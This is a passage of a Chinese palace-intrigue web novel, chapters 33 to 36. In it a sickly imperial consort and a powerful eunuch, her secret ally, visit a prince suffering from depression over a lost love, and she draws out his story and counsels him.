逢潭眼帘微动，与他一瞬的对视。微黯的光亮下，常聿眼底彷如雾霾凝云，叫她直坠冰河。
倘若逢潭如以往般坦言，尚许还不足以在他心中激起频频惊澜。
可是眼下.....
“......”
她是最能言善道的。
而今就在这个瞬间，常聿竟也在她脸上看见了显而易见的局促与迟疑。
越是这样，便越是能说明.....
逢潭她很在意。
想到这里，常聿望而生津般亦想去寻个究竟。
到底是什么人，能让一惯自持清冷，不见惊波的她，心生在意.....
....在、意。
常聿骤然敛眼，欺身逐渐朝她逼近。
“......”逢潭见状神色一滞，不觉拧眉。
他想干什么？！
然而就在下一刻，逢潭遽然恍悟。
不行！
从很久之前，常聿就对自己的身份起了疑，如若让常聿发现陈曙，无疑就是要将这件事情曝之到明面！
她把握不了常聿得知以后会做什么，得赶紧想个办法就此揭过。
就在常聿擦着她的肩膀，越过她时。逢潭疾然伸手，拉住他的衣衫一角。
男人目光淡漠下移，眼睛紧盯被她攥在手中的衣角。
“......”常聿深凝她眼底的晦暗。
静默良久，明知道她的意图，却终也没再去深究。
常聿道：“...回去。”
月雾模糊逢潭视线，叫她看不清常聿眼底神色。
“现在。”常聿眉目肃然，语气中带着不容置喙的强硬。
意识到他在说什么后，逢潭眸光晃了晃。
以为她尚不愿走，常聿眯了眯眼，旋即只身提步。
逢潭再次拉住他：“你送我。”
常聿眸色微微一深：“你说什么。”
逢潭口吻略显拙劣道：“....我害怕。”
常聿沉默不言。
逢潭近一步挽上他的臂弯，湿漉漉的秋眸，似经绵绵春雨泛起氤氲，娇怜极了：“行吗？”
“......”
常聿缓缓垂眸，怔怔地静视自己的手。
方才....
在这双莹润映光的眼睛，望向自己时....也不知怎的，竟就情不自禁地抚上了她的脸。
又是一夜无眠。
上次端午祭祀，逢潭只带了影莲一人随行。动身离宫前，她曾让留在宫中的旖月，趁此期间去宫外走了一趟。
京中能为高门接生的婆子，每隔一段年间，就是一批人，统共就是那些。
旖月是个伶俐的，她循着逢潭意有所指的方向，走访京城。果不其然.....正如逢潭所料，十九年前，当真有一个突然消失，不见踪影的接生婆子！
昨晚，她交代陈曙调查的，就是进一步确认这个婆子消失之前的整个年间，都接触过哪些达官显贵，以及....她最后的一次去向。
“毓昭仪。”
“......”
旖月站在逢潭身后，轻声在她耳边提醒了一句：“贵人。”
逢潭缓缓抬眼。
皇后看一眼帝王，而后道：“方才本宫说的话，你可明白了？”
逢潭浅浅一笑。
.....什么话？
皇后莞尔：“那就好。”
继而她又面朝帝王近来的新宠道：“你们才将伺候陛下不久，又生的年轻。虽说在子嗣方面暂不着急，但好好将养着身子，终归是没错的。”
帝王微微颔首：“皇后说的极是。”
“朕不过才月余未见你。”因着方才皇后提了一嘴，帝王由然扫了一眼逢潭，道：“怎的觉着你气色甚是不佳？”
旖月福身，代逢潭回以：“近来暑热，贵人食欲不振，故而难免憔悴了些。”
不待旖月说完，帝王已然摆手：“这不行。”
“毓昭仪一直用着补药，但身子仍旧迟迟不大好。想来也有你们伺候不周的缘故。”
帝王对皇后道：“回头让内务府，再拨几个宫人到她那儿去。”
皇后面含愧色道：“是臣妾思虑不周，还请陛下恕罪。只是.....”
略顿片刻，引了帝王的注意，皇后这才继续道：“眼下六宫之事，皆是由慎贵妃着手.....”
“——咯噔。”慎贵妃放下手中杯盏，不予理会皇后一眼，单朝帝王笑道：“臣妾谨记陛下嘱托。”
“......”
画面一转，逢潭对着眼前的药方陷入沉思。
青年指骨在棕红梨木桌面轻敲两下，微微挑眉：“这是什么？”
逢潭撑着下巴，没有说话，好整以暇地掀眼看他。
能是什么？
无非就是女子来癸水期间，治疗腹痛，以及弥补气血的一贴药方罢了。
先前在静安寺，考虑到常聿受伤不浅，流了不少血，这才将原给自己准备喝的，适而让给了他。
她嘴角噙着笑意，温柔又娇俏。
常聿耳尖隐约泛起一抹潮红，似是被她气笑。
“贵人。”进来的是一个面生的婢子，叫文祺。是下午那会儿，才从内务府拨过来的。
常聿这会儿子过来，是借了帝王今晨的意，打着送补药的璩头，光明正大的进来的，所以婢子并不觉有他。
想来是才过来服侍的缘故，文祺的言语中含带着小心谨慎：“该喝药了。”
逢潭点了点头，柔声道：“放一边吧。”
“等会儿把影莲叫来。”
文祺应声道了声“是”。
思及皇上的话，常聿不觉拧眉，道：“你的身子....”
逢潭不以为然地说：“于我
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而言，如今能离榻下地，就已经足够了。”
常聿闻此一愣。
他不知道的是，在逢潭刚穿来这里的第一个晚上.....就几乎险些咽气。
是天赐，在她奄奄一息之时，阿悦将她捡回了家。
逢潭大病一场，足足养了小半年才见好。
后来，安稳的日子没过多久，惨遭歹人追杀，逢潭只身掉下山崖，也不知是该庆幸还是悲哀.....又是只剩悬着的一口气。
接着当她再次睁眼时，人就已然被当成阿悦，带回了逢家。
甚至不待修养，旋即就又被送进了宫。
如此一连几次三番的折腾，使她本就匮乏的身子，直接游离。
进宫不过两日，还不及陛下召见，便已直接倒头离不了榻。
内务府的那群奴才，惯会趋炎附势，更别说是之后了。
他们眼见着逢潭难成气候，甚至是连过冬用的，原就不多的炭火，都被克扣的寥寥无几，一应全都集在逢潭寝殿。
那时娴苌宫合宫上下就四个人。
影莲、旖月、来乐还有她。
白日里倒还好，偶尔碰上好天气，他们三个还能到外面寻个日光暖和身体。可是一旦到了晚上，寒意来袭，便是极寒难耐。
逢潭不忍他们受此寒苦，寒冬的每个夜晚，影莲他们全然是同她挤睡在一个屋子里。
上一年春天，逢潭甚至又险些没熬过来。
她身子常年的匮乏，早就不是一朝一夕，哪是这小小半年就能将养过来的？
“......”
*
谢闻识清醒过来，与之以往截然不同，变得异常消沉，沉默。整个人都是木讷的。
晟郡王一气之下掀了桌子，指着地上跪了一片的大夫骂道：“一群没用的废物！这么多人，这么多天，竟是连个人都医不好！要你们有何用！”
众人言：“回王爷，这、这心病向来难医。我等皆已尽心竭力，无奈世.....令郎心中创伤实为严重，属实是非一时半刻就能治愈的呀！”
“那怎么办？！”晟郡王大发雷霆。
大夫道：“寻求其根本，解铃还须系铃人。”
晟郡王道：“那你们倒是想办法让他开口说话啊！让他说出来！”
众人艰难跪地，不敢多言。
晟郡王烦倦的一挥衣袖：“滚滚滚！都滚！”
众人终得解脱的、迫不及待的，连滚带爬的出去了。
屋子里一时只剩下他们父子二人。
晟郡王坐在床边，心脏刺痛地看着与死人已是无二样的谢闻识：“闻识啊，爹就你这么一个儿子，你可千万不能有事啊！”
他声泪俱下道：“你心里到底装着什么事？你告诉爹行不行？你说出来，爹来帮你想办法。说出来....”
谢闻识张了张嘴：“......”
晟郡王忽而止了声音，：“你说什么？”
他凑身上前，欲再听个真切：“儿啊，你方才说什么？爹没听清，你再说一遍。”
谢闻识音如蚊叫，低喃道：“常....聿.....”
晟郡王面色猛然一变，惊怒道：“是他害了你？！”
床上的人没有回答，只是嘴间一直重复着四个字：“我....见....常....聿....。”
33. 心病
常聿嘴角衔起一抹似笑非笑的弧度。
逢潭随之了然顿悟。
难怪那时逢光会与沈家站队。
原来还有这么一层关系在.....
常聿见她神游，忽然俯身在她耳边道：“你为什么会在这里？”
“......”逢潭干呵两声道：“路过。”
常聿长“哦”了一声，旋即冷了声：“贵人怎么不说是从皇宫迷了路呢....？”
逢潭想了想，觉得他这个理由倒是也还算说的过去：“那你信吗？”
“你觉得呢。”常聿袖手反问。
逢潭紧接着冲他嫣然一笑：“信。”
当下的时况，哪还考虑这些真真假假的说词？最重要的是想办法，糊弄过去，让常聿不去过问。
常聿没有说话。
逢潭心中微动，乘胜追击地反问他道：“你呢？你又为什么会在这儿？”
“你即都不告诉我，又凭什么以为我会告诉你？”
“......”
谢闻识看着折返回来的常聿，倍感震惊的同时，翻眼扫见他身后的逢潭。
她？他!
他们！
谢闻识结结巴巴道：“你们、你们……？”
逢潭微笑：“好久不见，世子殿下。”
“听闻你病了？”
谢闻识不敢置信的差点咬了舌头：“你们好大的胆子！”
他第一次见逢潭时，尚且不知她的身份。从她那次的打扮上，原以为她是常聿培养的下属。
不曾想过会在静安寺内再次见到逢潭，并且知悉了她的真实身份！
一个是帝王的后妃，一个是帝王身边的权宦!
他们居然勾结在了一起！
其实，逢潭也意识到自己跟常聿这么做，有点太过于嚣张了。于是她凑到常聿跟前，敛了声音道：“这样是不是有点不太好……”
“如果回头叫人说出去就……”
常聿满不在乎道：“不会有那
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一天。”他说的轻松，语中又带着不容置疑的斩钉截铁，似是拥有足够的信心。
逢潭闻此，又悄然看了一眼床上的谢闻识。
也是。
都这样了。
自己都尚且自顾不暇了，哪还有精力去说这些？
何况.....
逢潭又看一眼常聿。
常聿是什么人？
他即敢说，那么就代表他有十足的把握。
想到这里，逢潭也不再心怀顾虑。
谢闻识软弱无力地俯在床上，神情恹恹不喜。
逢潭拧眉观望着，静默良久，忽然起身上前。
谢闻识不言，任由其把着自己的脉象。
接着就见逢潭几针扎下，谢闻识来了力气。
肝气郁结、心肾不交、氮气交阳……是故怵惕思虑者，则伤神，神伤则恐惧。
是为抑郁之证。
逢潭诧异地看向他：“……你”
“心里有什么事吗？”
34. 情变
“啪嗒……”
夜里飘了雾蒙的细雨，檐头的雨水顺着棱角时不时滑落在地。
此话一出，屋内肃然静了一静。
逢潭微微怔愣，似是没有想到他会这般依言听话。
沉默片刻，男人清冷的嗓音渗透周围昏寂，惯持的慵懒语调似是拨人心弦的酒酿，旖旎缱绻：“你想怎么讲道理？”
“...你，”逢潭顿了顿，道：“我们之间，虽我处于弱势，依附你攀行。可归根结底，不过是你我共利互取。”
“嗯。”常聿轻声应道。
“还有吗？”
逢潭借两人之间仅有的一点亮光，眼观常聿面上神情，细数揣摩端量。
常聿面容平静，垂眼看向她的黑眸，含着一泓水色，犹如深不见底的噬人漩涡。
亦如他历来的言行，枭心鹤貌。
惑人又危险。
逢潭内心不由涌现几分诚惶。全然不知面前这片风平浪静的海面下.....会有什么暗流涌动的危险在等着自己。
“....我不想说了。”
常聿静静地凝注她片刻，唇角勾起哂然的笑意：“是.不想说了...还是，不敢说了？”
逢潭明眸一晃，不置可否，是自己先前对他的认识过于浅显。
回忆起这段时间，与他共经的诸事，哪怕是前不久借沈家的手对付姜家，削臂晟郡王，他始终都是隐于幕后，运筹帷幄的主局者。
眼前此人，心中固有一番城府，深不可测。
而她自己....原也是他处心积虑的一步棋子。
常聿目色渐冷：“你怕我。”
逢潭坦言道了声“是”。
“......”
火影虚晃，她眼前明了一瞬，旋即心跳加重。
男人眸中凛寒刃人血肉，嗜人心骨。
“逢潭。”
常聿忽然掀眼，话里透着凉薄：“我说过的。”
“即上了我这条船，你就休想再下去。”
逢潭微怔，没料想他会有如此大的反应。
气氛再次陷入死寂。
唯一的那点亮也熄灭了。
接着，常聿起身要走。
“我没有。”逢潭轻轻开口。
隐约感觉身前的黑影一顿。她道：“我自愿与你绑在一处，就从未想过要下去。”
她很需要他。
不止是在宫中。
话音才落，随即便听见逢潭双脚落地的声音：“你给我留盏灯换衣服。”
常聿的心思太难猜，总是阴晴不定，属实摸不清什么时候他就生气了，她也不愿一直活在摸索他情绪起伏的心惊胆战中。
索性以后就多顺着他吧。
*
马车一路畅驶到了常聿宫外的府邸。
逢潭不明所以地皱了皱眉。
这又是唱哪出？
“你....”她跟在常聿身后，道：“半夜把我偷出来，结果即不杀人也不放火的，到底卖的什么关子？”
常聿缄口不言地闷头走在前面。
“...小心眼。”逢潭小声腌臜一句。
谁知常聿陡然停了脚步，倒害的她一个反应不及，直直撞了上去。
不是？？？
逢潭捂着鼻子，眼眶水花蓄势欲冒。
常聿面无表情地凝视着她，满脸就差写着“故意”二字。
“......”她强压住火气，问：“你今晚到底怎么了？”
一会儿乖顺的不像话，引诱着她差点掉进水里溺死。
一会儿又臭着张脸，跟别人欠他二五八万似的。
都是成年人了，有什么话是不能好好说的？
可逢潭不知的是，不止是她对此疑惑。
甚至是连常聿自己，也对自己今晚的诸多举动感到莫名。
从她无视自己的那一刻起，踊跃的那股不爽的劲，便使然开始作祟。
尤其是在听到逢潭亲口承认自己怕他时，那频频迸发的火气携带着意味不明的酸楚，在他的五脏肺腑狠狠灼烧撕咬。
并且，这也不是他头一次心生这样的怪异之感。
常聿陷入泥泞困顿，无法自拔。
“我有病。”
逢潭听他冷不丁撂下这么一句，之后头也不回地转身走了。
唯留自己在原地凌乱不明。
到底搞毛啊？
“......”
究竟也算是一回生二回熟，加之此次常聿家中，沿路都有了烛灯照明，逢潭轻松地找到了上次住过的房间。
她四下打量一圈，抬指在桌沿轻轻拂过。
嗯？
干净的。
逢潭站在原地稍作思索。
看样子，常聿后来还曾带过别人到这里住过。
瞧着屋子整洁的程度，桌面亮的反光，都隐隐照出了她的影子。
.....也不知这房间是否是空缺的，若是睡到半夜，突然有人进来了，也不礼貌。
逢潭想了想，还是决定先从房间里退出来。她在廊前蹲坐下，忧虑了半天自己该睡哪儿。
“这死太监真是烦人。”逢潭气骂道：“把人从宫中偷渡出来，要干什么也不说。”
“完了之后，又给人往院子里一撩，睡哪也不知会一声。”
“忘恩负义、狼心狗肺、丧尽天良！”她越骂越顺嘴，滔滔不绝起来：“恩将仇报、自私自利、薄情寡义！！！”
“早知道上回就多让他疼几下了！”
“那你还挺可惜是吗？”头顶传来男人沉声。
“.......”
逢潭后仰着脖子，抬头一看。
只见常聿面色沉郁，嘴角勾着一抹森然冷笑，让人体感不寒而栗。
逢潭蹲坐太久，小腿早已僵麻无力，她保持着抬头后仰的姿势，没过两秒，不出意外的失了重心，倒靠在常聿腿前。
常聿不曾闪躲，好似根本就没打算动般站在她身后。
“先前不是要休息？”
方才行动匆匆，逢潭仅是多穿了两件外裳。此刻她一头乌发未束，松散垂落腰后，不着粉黛的小脸俏丽清秀，与初见她时削瘦的模样，虽有些微好转，然面容却依旧难掩病恹憔悴。
常聿冷眼道：“这会子让你睡了，你又在这儿吹风？”
以为自己是什么铜浇铁铸的人吗。
逢潭冷哼一声，往旁边挪开些距离。
常聿顺势坐下。
逢潭：“......”
这不要脸的家伙。
心情一阵一阵的，全然由着自己的性子来，一点
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都不考虑旁人的感受。
此时此刻，她真的不想再跟常聿聊天。
然而她又不知道该去哪儿。
“我本来都已经躺在床上了，托大人您的福，”逢潭笑容淬了几分幽冷：“精神抖擞。”
“不知此番常大人带我出来，又是所谓何事？”
常聿道：“明日你就知道了。”
明日？
意思就是说，她得在这里待过天亮？！....倒也不是担心晨起去皇后宫中请安的事情，想来常聿既敢行的这般嚣张，那他自然是有善后的底气。
哪怕就算常聿无所行动，她自己也早已做好万全之策。
否则，她也不会全然无所顾忌的跟他出来。
“......”逢潭瞥一眼他，而后肃然道：“常聿。”
“你这脾气，随谁啊？”
见常聿敛眼，没有说话。
逢潭冷哼一声：“蛮枝他们也就罢了。慎贵妃能受得了你这臭脾气？”
常聿忽而拧眉：“你胡说八道什么？”
瞧吧，没说两句，又急眼了。
逢潭懒得再与他多说，旋即站起身道：“我睡哪儿？”
常聿斜睨她一眼，眼神裸骨，像是在看一个白痴。
逢潭解释道：“一间偏房，打扫的如此干净，谁知道有没有住人？你也没告诉我，万一我半夜睡着睡着，突然有人进来了，我.....”
常聿也没再坐着了，语气不善反以：“你当我这里是随便什么人都能进的？”
逢潭亦是同样回了他一个“不然呢”的眼神。
毕竟她都进来了。
“你就坐着吧，”常聿狠狠撩下一个哼，继而边走边道：“冻不死你。”
“......”
又生气了。
身觉夜色渐浓，逢潭也打算进屋，先在桌子上将就一晚。
她才抬脚，步子还没落下，就见自廊头走来两人身影：“姑娘。”
待走近了，逢潭仔细一瞧，原来是常聿府上的管家，先前见过。
管家笑笑，道：“姑娘安心睡吧。”
“没有旁人，也不会有旁人。”
说着，他又朝逢潭示意：“咱们府上没有女婢，仅有的一个浆洗婆子，是我家老伴，恐有伺候不周之处，还望姑娘见谅。”
“......”
逢潭讪讪朝妇人福了福身，道：“.....麻烦您了。”
妇人温和一笑，意有所指道：“姑娘客气了。大人于我夫妇二人皆有救命之恩，照顾好您，理应是分内的事。”
其实就算妇人不说，逢潭心里大抵也有了数。这自然是常聿的安排，只是....现经这妇人开口，却涌觉几分难形的另样之感。
*
昨晚熬得狠了，逢潭有些吃不消。
当她翌日睡醒时，外面已然天光大亮。
“姑娘可是醒了？”妇人在门外问道，直至逢潭应声，这才轻手轻脚的推门进来。
逢潭问：“什么时辰了？”
“巳初一刻。”妇人答。
逢潭微愣：“.....您一直在等我吗？”
妇人察觉到逢潭的愧意，轻柔地捻着篦子，拂在逢潭发间，道：“姑娘疲惫，多休息一会儿也是情理之中，无妨的。”
35. 郁症
逢潭掀开帘子，目光微动。
眼前的朱木高门门户紧闭，即使立于明日下，周身却仿若被渡上一层晕抹不开的灰暗。明明正值酷暑，却隐觉萧瑟凄凉。
接着，她的视线随之落到门楣，其上悬挂的匾额巍峨凌空，苍劲地写着四个大字。
晟郡王府。
逢潭诧异地眨了眨眼。
为什么常聿会带自己来这儿？
她扫了一眼常聿，鲜见的没有迎接到他投来的视线。看样子，许是还在因为昨晚的事情，不想搭理她。
“......”逢潭目视着他的面庞，思怵半晌，也理不清自己究竟是哪句话没有说到他心里去。
算了。
与其谨言慎行，倒不如往后少说点话，沉默总归是没错的。
“......”常聿感受着她投来的灼人目光，心下有些不定。
她为什么要一直盯着自己？
还看的那么认真....
马车已经停了脚，然而常聿却迟迟没有下一步的动作。静等片刻，逢潭道：“常聿。”
常聿微微一怔，手指不觉蜷起。
这一路上，逢潭都不曾正眼瞧过他。原以为她气了他昨夜行举，已是不愿再与他再有过多交涉....
他忽觉蠢蠢欲动的紧张之感，却又故作镇静地慢慢掀眼。
“我们是不是到了？”逢潭问。
“...嗯。”
“那，走吧。”逢潭说着，也欲动作起身。不料还未等自己站稳身形，倏而又被常聿按了回去。
逢潭：“？”
只见常聿稍作俯身，旋即她的半张小脸被遮隐于面纱之下，唯剩一双含水秋眸。
逢潭被常聿半圈在怀里，微仰起头：“谢闻识见过我。”
垂手时，指尖似有若无地轻缠她的发丝，常聿目光沉沉道：“不是防他。”
“......”
逢潭随在常聿身后下车，还不及两人走近，门便被人从里兀自打开。
迎面入眼的是谢闻识的父亲，传闻中的晟郡王。
逢潭承宠半年以来，宫中设宴数次，帝王寥寥的几个兄弟中，唯剩这个晟郡王一直是被听在耳里，从未见过本人。
今日终得见，逢潭不禁默默将他从头到尾打量一番。
晟郡王其貌，与帝王在眉眼处有三四分像，身态敦实如熊背，常年的丰腴生活，此刻在他面目上展现的淋漓尽致。随后逢潭又观他脸部浮肿灰暗，可见近来他过得甚是疲劳。
“常大人还真是贤忙，”晟郡王道：“就连本王想见上一面，都可谓来之不易....”
“若郡王约见常某，只是为了与常某寒暄，”常聿打断道：“那恕常某无意浪费口舌。”
常聿如此直白，晟郡王也不再假意迎笑。他神情倏然一敛，语气凝寒道：“既如此，本王也不再跟你做这些恶心人的表面功夫了。”
“常聿。”晟郡王怒目道：“你对我儿做了什么？！”
常聿微微一笑：“郡王此言差矣，常某倒是不明白了。”
“擒捉令郎的是沈家，亲罚令郎的是陛下。常某一观局人，能做什么？”
晟郡王一甩衣袖，哼道：“常大人为人如何，满朝有目共睹，心知肚明。”
“沈家不堪，你常聿的手脚也未必干净。”
常聿不置可否的哂然一笑。
这时，一个下人行步匆匆地赶到众人面前，脸上的慌乱之意尤为明显。
逢潭静静地瞧着，原在心想，高门贵府的人家，这般行举失态，定是要遭到主人的责斥。不成想她翻眼一看，那晟郡王的面情更是在看到这个婢子时瞬间爬满担忧。
只见婢子俯在晟郡王耳边，细声轻语的不知说了什么，竟使得其态度登时大转。
“......”晟郡王道：“烦请常大人移步。”
*
初入王府后院，混杂的各式浓药熏呛，稍作大口吸气，口舌仿若经苦过喉，两颊生津。
这般声势浩大的阵仗，饶是久泡医场的逢潭，也极少见得。
她不觉拧眉，引了常聿注意：“你有没有听过一句话？”
“什么？”常聿问。
“用药如用兵，”逢潭道：“兵不在众而在精。”
药多不治病，也是徒劳无功。
难怪常聿会带她出来，逢潭现在也开始好奇，这谢闻识到底是得了什么“绝症”。
自谢闻识心患重疾后，他几乎遍寻了整个京城的大夫，然却皆是无果。他不知晓逢潭究其何人，也全然无心思去在意，眼下唯求的也只能死马当活马医了。
想来晟郡王也听见了她方才说的话，故在逢潭提步进屋时，也没有做任何阻拦。
“.......”
谢闻识眼皮惺忪的浅浅睁开眼，眼前模糊朦胧的身影，逐渐变得清明。待四周彻底亮晰，他缓慢眨了眨眼，旋即瞳孔怔然一缩，脑中久绷的一根弦，蓦然断裂。
一连精神萎靡地躺了数十日，乍一肃起，只觉四肢毫无力气，继而又直直倒下。
他目不转睛地紧紧目视常聿。
常聿居高临下地睥睨道：“想说什么？”
谢闻识眸光涣散道：“.....她在哪儿？”
常聿懒懒掀眼：“下一个问题。”
谢闻识复又再次强撑起身子，软软地靠在床榻：“我想见她。”
常聿淡嗤一声，无意与他深究这个话题。
“儿子，你想见谁？”晟郡王忽然开口。
他的话音甚至还不及落，反被谢闻识猝然呵声：“出去！”
这一下似是用尽了他这些天的所有力气，呼吸急促带动着胸口起起伏伏，整个身子狠狠地哆嗦起来。
晟郡王闻言怔愣了好半晌，浑浊的眼眸中流露出悲凉与无奈。
待晟郡王走后，逢潭也随之摘了面纱。
谢闻识淡淡扫她一眼，面不改色地又看一眼常聿。
逢潭问：“你好像并不意外？”
“本世子又不眼瞎。”谢闻识轻蔑哼嗤，自己也算阅人无数，识别区区一个女人，又算得了什么？何况，能让常聿这个奸贼带在身边的女人，除了她，怕是也不会再有第二个了。
逢潭莞尔挑了挑眉，此刻她对谢闻识的病甚感好奇，轻步走到床边，果断出手探上他衣下外露的一截手腕。<
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“......”
《黄帝内经》曾提到：因哀悲动中者，竭绝而天生；愁忧者，气闭塞而不行。
逢潭眼观其容，探其脉象，源为郁证。
是心病......
思及此，她心中晃觉一阵，不知想到了什么，半天没有说话。
常聿靠到她身边：“他还有几日活？”
“看他自己。”逢潭淡淡一笑。
“......”
“锦染是谁？”她忽然开口问道。
谢闻识下意识唇齿微张，局促良久，复又哑口无言地闭上。
逢潭看一眼常聿，目光微转：“....爱而不得的人。”
她语中带着些许轻蔑：“晟世子一向惯持风流浪子称谓，京中无数女儿家因你痛哭流涕，谁知竟也是个有情人？”
谢闻识眼神空洞的呆坐在床上，先前那双波光潋滟的桃花眼，此刻也似若经风残败，死气沉沉：“你懂什么。”
“....我不懂。”逢潭耸肩：“但你可以说了让我懂一下。”
“......”
“心病历来积渐而形，并非是一朝一夕的事，”逢潭不疾不徐道：“你爹现在不在。想来......你大概也并不愿将此事说与他听。否则，也断然不会将自己折腾成现在这副鬼样子。”
“先前你爹找来给你医治的那些医者，约摸着都说过同样一句话‘心病还须心药医’，可你的心病其一源头，就跃然在你眼前。是以你说不出，也不想说。”
闻及此，谢闻识眸光微微黯淡下来。
他垂下眼帘，流露出心事被明言的惊慌与失措。
静默半晌，他凝眉嗤了一声，转眼看向常聿，不咸不淡地开口：“我要借她一用。”
常聿下颌轻抬，漫不经心地掀了掀眼皮。
“放心，”谢闻识道：“我不会对她做什么。”
“......”最后，在逢潭的驱遣下，常聿才漫步悠然地走出房门。
谢闻识冷不丁道：“他倒是听你的话。”
“本来就是带我过来给你医治的。”逢潭不以为意道。
谢闻识剑眉轻挑，嘴角勾起一抹淡嘲的弧度。
逢潭搬了凳子，在床边坐下：“你心中即有所爱之人，当初为什么还要娶姜润玉？”
“恕我冒犯，我并不觉得你是会逆来顺受的人。”
谢闻识轻飘应了一声：“是啊......你说得没错。要不是被逼近梁山，谁又会选择委曲求全？”
他沉下脸来，眼色翻涌绵绵不断的狠厉：“什么狗屁家荣，光耀门楣，我才不稀罕。世子身份算什么东西？袭爵又怎么样？一旦被这些东西禁锢，也不过外表光鲜，其中多少的情不由己，又有谁在意？”
“凭什么用我的自由，我的幸福，去换取那无用的皮囊？！这满京城内，谁人不知我不喜姜润玉，却又将她娶进门？你们认为我图他姜家利益，薄情寡义？觉得她可怜？呵。”
“那姜萍为了制衡沈家，答应我爹联姻的时候，想过自己女儿可怜吗？我爹为了这所谓的破名衔，拿我亲爱的锦染的生死逼我的时候，想过我可怜吗？！”
36. 私欲
“当初他们逼我妥协的时候，就早该想到会有今日这般光景！如今这一切，全是他们自作自受！全是他们活该！”
待他发泄完，情绪稍作平静后，逢潭才又缓缓开口道：“方才，你言出自己的难处，我也感同身受你的万般不愿。你我同出王侯将相后嗣，虽享富贵荣华，人前恣意无忧，人后却也有着属于我们的身不由己。正如你不愿因利娶姜润玉，而我也亦不愿进宫....”
“可是谢闻识，命生来父母，路却行在自己脚下。路漫漫其修远兮，固有愿与不愿的阻碍。可路怎么去走，步子怎么去迈，终归不都是凭己抉择？你不喜姜润玉，却又不得不娶她，在这件事情上，你确实被强人所难，处于被动。”
“但，之后呢？”
之后？什么之后？
谢闻识怔然不解地望向她：“.....你想说什么？”
“你和姜润玉联结，为的就是将两家利益捆绑，已然遂了他们的愿。往后怎么行，不还是在你们？你视锦染为心爱，尚不能见让她因你而死。可后来，因你赖性而死的那些人，他们的命就活该被视为草芥吗？”
“你同姜润玉吵吵闹闹，以此宣泄对这桩婚事的不满，搞得满京城人仰马翻。”逢潭语调淡淡，同他平心而论道：“你的这些行经，其实在本质上同你爹他们并无两样，都是在为一己私欲，牺牲旁人。”
“......”
她平淡低柔的声音中，尽是隐含慑人的波涛汹涌。浪潮拍打海面，泛起层层涟漪，谢闻识倏然禁了声。
逢潭叹口气，饮一口桌上温凉的茶水，舌尖的苦涩弥漫至喉间滑下。又瞥一眼床上唇白干裂的谢闻识，旋即重新拿了个杯子：“....喝吧。”
谢闻识手指在杯身反复摩挲，气氛陷入短暂的沉寂。
逢潭任他安安静静的消化了一会儿，复又循环渐进道：“你说你想见她.....是吗？”
“那你想过没有？”逢潭忽而抬眼：“这些年来，你在京城所做行经，遭人唾弃。锦染听到耳朵里时，她又会作何感想？”
“暂且不论她是否愿意见你。如今你劣迹斑斑，声名狼藉......你若爱她，又当真敢以现今此表，出现在她的面前？你不会感到羞愧吗？”
谢闻识呼吸猛然一窒，力道收紧，指节逐渐泛白，连带着杯子也开始在他手中颤抖起来。
回忆一时间全都涌上大脑，直叫人头昏欲裂！随即，他自嘲地笑了笑，小声低喃道：“我怎么能忘了呢.....？锦染说过的....她亲口就说过的，她说她不想再见到我了....”
门外，常聿已然冷脸站了好半天。
候在院子里伺候的下人们，皆是默契地又朝角落缩了缩：“......”
自打门口的这位爷出来，院子仿若雪后劲风，骤然凝固住了。众人围缩在角落，大气都不敢出一下，唯恐触了霉头。
“......”
都快一炷香的功夫了，怎么还不出来？
她跟他哪来的那么多话说？
常聿烦躁地顶了顶后牙，强行抑制住内心想要进去的躁动。
“哗啦——”脆如银铃的声音蓦然从屋内响起。
柔软光滑的绸被面上渗进点点殷色，谢闻识的掌心，缓缓流出鲜艳扎眼的红。
而他的房门也在方才杯碎的同时，终是被人忍不住地“哐当”一下从外打开。
逢潭平静地回头看一眼常聿，难得没有被吓到。
常聿心跳起伏动荡，眼睛在逢潭身上细细酌量一通，见她无恙，适才稍稍平定了些。
“....求你。”
谢闻识是什么人？含着金汤匙长大，养尊处优的王室，自生来便受人敬仰高捧。然就在眼下今时，他敛下一身的锋芒，卑微地抬头，向面前之人由心乞求。
逢潭没有回头，轻应了一声：“我知道了。”
*
出了晟郡王府，逢潭总算可以彻底拭掉闷人的面纱。常聿斜睨她一眼，语气不明道：“他病的很厉害？”
“难评。”逢潭摇了摇头，道：“和李婕妤一样，病不在身，是心结。”
“想得开，就此揭过了，那便是无关痛痒的小事。若想不开....”她微微一笑：“就会如他现在这般，逐渐成为蚀人精气血肉的心魔。”
旋即不待常聿再说什么，逢潭突然话锋一转道：“就连姜润玉对锦染这个人，也都只是口头上的寥寥知悉，可见谢闻识后来的确把她捂藏的很好。”
“你又是从何得知的？”
常聿淡淡开口，道：“天底下没有不透风的墙。”
她笑了笑：“常大人还真是神通广大。”
说完，逢潭接着陷入一阵沉思。她现在到底还是个手无缚鸡之力，任人宰割的羔羊。今后也难免有借常聿假手于人的时候.....她承认，自己私心很重，即想利用身边这个男人的权势，又不愿将自己过多展于人前。
对她来说，常聿知道的越多，自己就越容易被他掌控。
正如现下。
“你心里有事。”常聿沉声，不是疑问。
逢潭思绪回转，叹息一声：“.....那太多了。”
常聿没有说话，只是静静地看着她。
他不是感觉不到逢潭对他的戒备。这姑娘总是嘴上甜如蜜，其实内心里根本从未信任过他。
马车上，两人心思全然神飘，漫长无言。
“我想......”逢潭轻声打破眼下的冷凝：“能让我跟她见一面吗?”
常聿不置可否，没说行与不行，而是反问她一句：“你若想。”
天气阴沉，灰蒙蒙一片。
回程的马车应声掉头，驶进偏街一处深巷。
逢潭纵观一圈四周，入目几个衣衫褴褛的孩童，虚坐在道路两侧。
“....姐姐。”忽感裙侧一角被人拽住。她闻声垂首，只见那是一个还不及她腰身高的小女孩。
逢潭不觉拧眉。
见此景，常聿嘴角勾起一抹不易察觉的晦涩笑意：“......”
在触及她愁展的目光后，小女孩面露些许恐怯
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，悻悻缩回手：“对不起。”
逢潭沉默几秒，没有说话。
小女孩紧闭双眼，害怕地抖了抖身子。
然而静等片刻，想象中脆辣的痛感并未袭身，她看着逢潭，迟疑地眨了眨晶亮的稚眼。
逢潭轻轻抬手，抹了一把小女孩脸上的泥痕，道：“怎么了？”
“......我弄脏了你的裙子。”小女孩眼睛下移，说话的时候，紧张地盯着她月白纱裙侧面的一处黑污。
逢潭顺着小女孩的话，不甚在意地瞥了一眼，道：“没关系。”余光注意到边角互相推搡的孩童，她了然收回视线：“他们让你来的吗？”
小女孩顿了顿，怯怯地点了点头。
逢潭睨一眼在旁不作为的某位“大爷”：“拿钱。”
“翠翠，”常聿薄唇微微上扬，俯身将钱袋放到小女孩手里，心情极悦，含笑道：“带他们买肉包去吧。”
